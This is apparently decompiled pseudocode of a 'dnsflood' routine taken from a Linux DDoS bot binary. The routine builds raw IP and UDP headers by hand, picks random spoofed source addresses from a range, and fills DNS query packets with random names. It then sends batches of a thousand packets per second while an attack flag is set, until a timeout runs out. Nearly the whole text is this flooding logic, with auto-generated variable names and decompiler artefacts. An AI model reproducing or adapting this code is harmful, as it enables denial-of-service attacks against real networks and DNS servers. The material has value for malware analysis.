int dnsflood(_Unknown_base* ThreadData)
{// addr = 0x0804C594
    int hSockfd;
    char[1023] packet;
    char[19] szNewIP;
    struct ip iphdr;
    char[1023] PackData;
    struct udphdr udphdr;
    struct sockaddr_in remoteAddr;
    DNSPACKET DnsObj;
    int nTime;
    struct hostent* szhost;
    socklen_t fromlen;
    int looptime;
    int aa;
    char[511] szName;
    int nDNSPack;
    char[511] fotmatDNSPacket;
    int dgsize;
    int ShamBase;
    int dwNewIP;
    intOrPtr _v0;
    intOrPtr _v4;
    signed int _v16;
    signed int _v20;
    intOrPtr _v24;
    int _v28;
    int _v32;
    int _v36;
    intOrPtr _v40;
    int _v44;
    intOrPtr _v48;
    int _v52;
    intOrPtr _v56;
    int _v60;
    _unknown_ _v64;
    int _v68;
    char _v1072;
    char _v1092;
    int _v1096;
    int _v1100;
    short unsigned int _v1102;
    char _v1103;
    int _v1104;
    int _v1106;
    int _v1108;
    short _v1110;
    int _v1111;
    signed int _v1112;
    _unknown_ _v1116;
    _unknown_ _v1120;
    _unknown_ _v1122;
    _unknown_ _v1123;
    _unknown_ _v1124;
    _unknown_ _v1126;
    _unknown_ _v1128;
    _unknown_ _v1130;
    _unknown_ _v1131;
    _unknown_ _v1132;
    char _v2136;
    int _v2138;
    int _v2140;
    signed int _v2142;
    char _v2144;
    intOrPtr _v2156;
    signed short _v2158;
    int _v2160;
    _unknown_ _v2162;
    int _v2164;
    intOrPtr _v2168;
    _unknown_ _v2176;
    _unknown_ _v2178;
    _unknown_ _v2180;
    _unknown_ _v2184;
    _unknown_ _v2188;
    _unknown_ _v2192;
    signed int _v2300;
    int _v2432;
    char _v2444;
    int _v2448;
    char _v2960;
    char _v3472;
    signed short _v3488;
    char* _v3492;
    int _v3496;
    intOrPtr _v3500;
    char* _v3504;
    int _v3508;
    intOrPtr _v3512;
    char* _v3516;
    int _v3520;
    intOrPtr _v3524;
    signed int _v3532;
    signed int _v3544;
    signed int _v3548;
    signed int _v3552;
    char _v3556;
    intOrPtr _v3560;
    int _v3564;
    int _v3568;
    char _v3580;
    _unknown_ _v3584;
    _unknown_ _v3588;
    _unknown_ _v3592;
    _unknown_ _v3596;
    _unknown_ _v3600;
    _unknown_ _v4112;
    _unknown_ _v4624;
    _unknown_ _v4628;
    _unknown_ _v4632;
    intOrPtr _v4636;
    intOrPtr _v4640;
    intOrPtr _v4644;
    _unknown_ _v4656;
    _unknown_ _v4660;
    _unknown_ _v4664;
    _unknown_ _v4668;
    _unknown_ _v4672;
    int _v4676;
    int _v4680;
    int _v4684;
    int _v4688;
    int _v4692;
    char _v5716;
    char* _v8196;
    int _v8200;
    _unknown_ _v8260;
    _unknown_ _v8264;
    _unknown_ _v8268;
    char _v8272;
    signed int _v8276;
    intOrPtr _v8288;
    char _v8304;
    int _v8320;
    _unknown_ r6;
    _unknown_ _t479;
    intOrPtr _t483;
    _unknown_ _t485;
    _unknown_ _t486;
    _unknown_ _t487;
    _unknown_ _t488;
    _unknown_ _t490;
    _unknown_ _t494;
    int _t496;
    _unknown_ _t498;
    _unknown_ _t499;
    _unknown_ _t500;
    _unknown_ _t501;
    intOrPtr _t504;
    _unknown_ _t512;
    _unknown_ _t517;
    _unknown_ _t524;
    _unknown_ _t529;
    _unknown_ _t532;
    _unknown_ _t537;
    _unknown_ _t538;
    _unknown_ _t540;
    _unknown_ _t541;
    _unknown_ _t548;
    _unknown_ _t551;
    _unknown_ _t560;
    _unknown_ _t564;
    _unknown_ _t568;
    _unknown_ _t573;
    _unknown_ _t577;
    _unknown_ _t582;
    _unknown_ _t586;
    _unknown_ _t588;
    _unknown_ _t602;
    _unknown_ _t608;
    _unknown_ _t610;
    _unknown_ _t619;
    _unknown_ _t623;
    _unknown_ _t629;
    _unknown_ _t641;
    _unknown_ _t643;
    signed short _t659;
    intOrPtr _t661;
    _unknown_ _t664;
    int _t675;
    _unknown_ _t680;
    short unsigned int _t682;
    _unknown_ _t685;
    _unknown_ _t690;
    _unknown_ _t693;
    _unknown_ _t702;
    short _t706;
    int _t710;
    _unknown_ _t715;
    _unknown_ _t719;
    _unknown_ _t724;
    signed int _t728;
    _unknown_ _t730;
    int _t744;
    signed int _t747;
    _unknown_ _t749;
    int _t758;
    _unknown_ _t762;
    _unknown_ _t766;
    signed short _t771;
    _unknown_ _t785;
    _unknown_ _t787;
    _unknown_ _t789;
    _unknown_ _t790;
    _unknown_ _t791;
    _unknown_ _t792;
    intOrPtr _t793;
    _unknown_ _t794;
    signed int _t798;
    intOrPtr _t800;
    _unknown_ _t801;
    intOrPtr _t802;
    _unknown_ _t803;
    intOrPtr _t804;
    _unknown_ _t805;
    _unknown_ _t808;
    _unknown_ _t811;
    _unknown_ _t817;
    _unknown_ _t826;
    _unknown_ _t836;
    _unknown_ _t846;
    _unknown_ _t847;
    intOrPtr _t849;
    char* _t851;
    char* _t852;
    intOrPtr _t853;
    _unknown_ _t854;
    signed int* _t855;
    _unknown_ _t856;

    _push(_t844);
    _push(_t771);
    __esp = __esp - 3552;
    _v1112 = 0;
    _v1108 = 0;
    _v1104 = 0;
    _v1100 = 0;
    _v1096 = 0;
    _v3492 =  &_v2136;
    _v3496 = 0;
    if(1024 >= 4) {
        _v3500 = 256;
        _t853 = _v3492;
        _t804 = _v3500;
        _push(_t804 << 2);
        _push(_v3496);
        _push(_t853);
        memset();
        __esp =  &(__esp[3]);
        _t844 = _t853 + _t804;
    }
    _v2144 = 0;
    _v2140 = 0;
    L0806F910( &_v2444, 284);
    _t483 = L0806F9E0(_t844, __esi,  &_v2444, ThreadData, 284);
    _v3556 = 255;
    L08073680(_t771, __esp, 2, 3);
    _v48 = _t483;
    if(_v48 == 255) {
        goto L24;
    }
    _v44 = 0;
    _v44 = _v2432;
    if(_v44 <= 0 || _v44 > 86400) {
        _v44 = 20;
    }
    L0806F910( &_v2160, 16);
    _v2160 = 2;
     *__esp = _v2300 & 65535;
    _t659 = L08075240(__esp);
    _v2158 = _t659;
    _t661 =  &_v2444 + 16;
    L08075250(_t661);
    _v40 = _t661;
    if(_v40 == 0) {
L24:
        L08052A50(_v48);
        _t486 = L08051050();
        L08051000(_t486);
         *__esp = 0;
        L08050FE0();
        goto L25;
    }
    _t664 = L0806E4D0( &_v2444 + 16, "0.0.0.0");
    if(_t664 == 0) {
        goto L24;
    }
    _v2156 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v40 + 16))))));
    _v36 = 16;
    _v1112 = _v1112 & 255 & 240 | 5;
    _v1112 = _v1112 & 255 & 15 | 64;
    _v1111 = 0;
     *__esp = 1;
    _t675 = L08075240(__esp);
    _v1108 = _t675;
    _v1106 = 0;
    _v1104 = 64;
    _v1103 = 17;
    L0806F9E0(_t844, __esi,  &((char*)( &_v1112)[8]),  &((char*)( &_v2160)[1]), 4);
    _t682 = in_cksum( &_v1112, 20);
    _v1102 = _t682;
    _v32 = 0;
    while(IsAttack != 0) {
        _v28 = 0;
        while(1) {
            __eflags = _v28 - 999;
            if(_v28 > 999) {
                break;
            }
            _v3504 =  &_v2960;
            _v3508 = 0;
            __eflags = 512 - 4;
            if(512 >= 4) {
                _v3512 = 128;
                _t852 = _v3504;
                _t802 = _v3512;
                _push(_t802 << 2);
                _push(_v3508);
                _push(_t852);
                memset();
                __esp =  &(__esp[3]);
                _t844 =  &(_t852[_t802]);
            }
            L0806F910( &_v2960, 512);
            L0806E520( &_v2960,  &_v2444 + 148);
            L0806F910( &_v2136, 1024);
            _v2448 = 0;
            _v3516 =  &_v3472;
            _v3520 = 0;
            __eflags = 512 - 4;
            if(512 >= 4) {
                _v3524 = 128;
                _t851 = _v3516;
                _t800 = _v3524;
                _push(_t800 << 2);
                _push(_v3520);
                _push(_t851);
                memset();
                __esp =  &(__esp[3]);
                _t844 =  &(_t851[_t800]);
            }
            RandNametoFormat( &_v2960,  &_v3472);
            GetStructureDnsPacket( &_v2960,  &_v3472,  &_v2448);
            L0806F9E0(_t844, __esi,  &_v2136,  &_v3472, _v2448);
             *__esp = _v2448 + 28 & 65535;
            _t706 = L08075240(__esp);
            _v1110 = _t706;
            _v2138 = 0;
             *__esp = _v2448 + 8 & 65535;
            _t710 = L08075240(__esp);
            _v2140 = _t710;
            _v2142 = _v2158 & 65535;
            L0806F910( &_v1072, 1024);
            L0806F9E0(_t844, __esi,  &_v1072,  &_v1112, 20);
            L0806F9E0(_t844, __esi,  &_v1072 + 20,  &_v2144, 8);
            L0806F9E0(_t844, __esi,  &_v1072 + 28,  &_v2136, _v2448);
            _v24 = _v2448 + 28;
            _t728 = _v2164 - _v2168;
            _v20 = _t728;
            __eflags = _v20;
            if(_v20 <= 0) {
                goto L22;
            }
            L0805EBE0();
            _v16 = _t728 % _v20 + _v2168;
            L0806F910( &_v1092, 20);
            _v3544 = _v16 & 255;
            _v3548 = _v16 >> 8 & 255;
            _v3552 = _v16 >> 16 & 255;
            L0805FF50( &_v1092, "%d.%d.%d.%d", _v16 >> 24);
            _t744 = L08073B40( &_v1092);
            _v1100 = _t744;
            _t747 = L0806F9E0(_t844, __esi,  &_v1072,  &_v1112, 20);
            L0805EBE0();
            _t798 = _t747;
            _v3532 = -2147450879;
            _t771 = ((_v3532 * _t798 >> 32) + _t798 >> 15) - (_t798 >> 31);
            _v3488 = _t771;
            _t844 = _t798 - (_v3488 << 16) - _v3488;
            _v3488 = _t844;
             *__esp = _v3488 & 65535 & 65535;
            _t758 = L08075240(__esp);
            _v2144 = _t758;
            L0806F9E0(_t844, __esi,  &_v1072 + 20,  &_v2144, 8);
            _v3544 = _v36;
            _v3548 =  &_v2160;
            _v3552 = 0;
            _v3556 = _v24;
            L08052C20(__esi, _v48,  &_v1072);
            _v28 = _v28 + 1;
            continue;
L23:
            goto L24;
        }
        _v32 = _v32 + 1;
        __eflags = _v32 - _v44;
        if(_v32 > _v44) {
            goto L23;
        }
        L08070250(1);
    }
    goto L25;
L25:
    _push(_t854);
    _t855 = __esp;
    _push(_t844);
    _push(_t771);
    __esp = __esp - 4704;
    _v4692 = 0;
    _v4688 = 0;
    _v4684 = 0;
    _v4680 = 0;
    _v4676 = 0;
    _v8196 =  &_v5716;
    _v8200 = 0;
    if(1024 >= 4) {
        _v4644 = 256;
        _t849 = _v4636;
        _t793 = _v4644;
        _push(_t793 << 2);
        _push(_v4640);
        _push(_t849);
        memset();
        __esp =  &(__esp[3]);
        _t844 = _t849 + _t793;
    }
    _v2164 = 0;
    _v2160 = 0;
    _v60 = 0;
    _v56 = 456;
    L0806F910( &_v3580, 1400);
    L0806F9E0(_t844, __esi,  &_v3580, _v0, 1400);
    _v60 = _v3564;
    _v52 = 0;
    _t496 = _v3568;
    _v52 = _t496;
    if(_v52 <= 0 || _v52 > 86400) {
        _v52 = 20;
    }
    _v8272 = 255;
    L08073680(_t771, __esp, 2, 3);
    _v68 = _t496;
    if(_v68 == 255) {
        goto L58;
    }
    if(_v3560 != _v3556 || _v3556 == 0) {
L58:
        L08052A50(_v68);
        _t499 = L08051050();
        L08051000(_t499);
         *__esp = 0;
        L08050FE0();
    }
    _push(_t855);
    __esp = __esp - 40;
    _v8304 = _v8272;
     *__esp = _v8276;
    _t504 = L0806E770(__esp, _t871);
    _v8288 = _t504;
    if(( *_v8276 & 255) != 0) {
        while(1) {
            __eax = _v16;
            __eax = _v16 - 1;
            __eax = _v16 - 1 + _v4;
            __eax =  *(_v16 - 1 + _v4) & 255;
            __eflags = __al;
            if(__al == 0) {
                break;
            }
            __eax = _v16;
            __eax = _v16 - 1;
            __eax = _v16 - 1 + _v4;
            _v8320 = _v32;
             *__esp = _v16 - 1 + _v4;
            __eax = L0806E360(__esp);
            __eflags = __eax;
            if(__eax == 0) {
                _v16 = _v16 - 1;
                continue;
            }
            __eax = _v16;
            __eax = _v16 - 1;
            _v36 = _v4 + _v16 - 1;
            return _v36;
        }
        _v36 = 0;
        return _v36;
    }
    _v36 = 0;
    return _v36;
L55:
    goto L58;
L22:
    goto L24;
}